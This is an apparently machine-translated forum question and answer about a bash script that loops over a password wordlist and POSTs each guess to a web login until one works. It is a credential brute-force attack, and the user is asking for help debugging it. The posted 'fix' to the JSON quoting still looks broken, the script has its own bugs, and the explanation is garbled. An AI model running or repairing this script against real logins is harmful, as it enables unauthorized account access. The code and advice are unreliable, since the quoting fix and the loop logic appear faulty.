服务器响应登录错误!

服务器响应登录错误!

这是我构建的脚本

for i in `cat cain.txt`
do
uuid=$(curl   -X POST -H "ACCEPT-LANGUAGE:en"   -H "Content-Type:application/json"   -H "Accept: application/json" -d  '{"username":"TheUserName"}'  H) 
> final.txt
fuid=$(echo "$uuid" | sed -nE 's/.*"serviceUuid":"(.*)","user.*/\1/p' >>  final.txt)
eval $fuid
echo $fuid

service_uuid=$(cat final.txt)
password=$(sed -n 1p cain.txt)
echo $service_uuid
echo $password

login=$(curl -X POST -H "ACCEPT-LANGUAGE:en"  -H "Content-Type: application/json;charset=utf-8"  -H "Accept-Encoding:gzip,deflate"   -H "Accept: application/json"  -H "Connection: keep-alive" -d  '{"serviceUuid":"${service_uuid}","password":"${password}"}'  HereTheUrl)

echo "$login"
if [ "$login" = "STATUS_OK" ]
then
echo "Password: $password"
break
else
echo "Trying: $password"
fi
done

当我运行它时,服务器响应是:

{"status":{"code":"NOT_AUTHENTICATED","message":"HereTheUrl"},"body":{}}

如何解决这个问题?

(密码错误的响应必须是“ERROR”而不是“NOT_AUTHENTICATED”)

答案1

我解决了这个问题。该问题是由于语法错误而产生的。

错误与“和”的位置有关,只需更改“中的”即可。

login=$(curl -X POST -H "ACCEPT-LANGUAGE:en"  -H "Content-Type: application/json;charset=utf-8"  -H "Accept-Encoding:gzip,deflate"   -H "Accept: application/json"  -H "Connection: keep-alive" -d  "{"serviceUuid":"${service_uuid}","password":"${password}"}"  HereTheUrl)

uuid=$(curl   -X POST -H "ACCEPT-LANGUAGE:en"   -H "Content-Type:application/json"   -H "Accept: application/json" -d  "{"username":"TheUserName"}"

相关内容